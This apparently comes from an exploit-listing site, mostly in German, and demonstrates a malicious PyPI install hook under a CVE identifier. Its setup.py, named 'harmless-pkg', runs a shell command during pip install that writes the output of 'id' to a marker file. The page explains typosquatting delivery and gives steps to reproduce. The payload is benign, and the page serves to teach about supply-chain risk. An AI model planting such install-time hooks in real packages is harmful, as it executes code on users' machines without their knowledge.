CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution- — Zeigt, wie ein bösartiges Python-Paket während der pip-Installation über setup.py beliebige Befehle ausführt und dabei die Risiken der PyPI-Lieferkette und von Typosquatting hervorhebt. | Kitploit

CVE-2026-21016 – Malicious PyPI Package Install Hook (setup.py Execution)

Programmcode (Python)

# setup.py - Malicious package that executes during install
from setuptools import setup
import os

# This runs on pip install
os.system('id > /tmp/pwned_by_package')

setup(
    name='harmless-pkg',
    version='1.0',
    packages=[],
)

CVE-2026-21016 – Malicious PyPI Package Install Hook (setup.py)

Übersicht

Ein PyPI-Paket kann beliebigen Code in seiner setup.py enthalten, der während pip install ausgeführt wird. Ein Angreifer kann ein Paket mit einem Namen veröffentlichen, der einem bekannten Paket ähnelt (Typosquatting). Bei der Installation wird die Nutzlast mit den Rechten des Benutzers ausgeführt, was zu Remote-Codeausführung führt.

Erstellen Sie das Verzeichnis des bösartigen Pakets mit der angegebenen setup.py.
Installieren Sie es lokal:
```
pip install ./harmless-pkg
```
Überprüfen Sie die Ausgabe:
```
cat /tmp/pwned_by_package
```

CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution-

Beliebteste

Details zur Schwachstelle

Exploit-Demonstration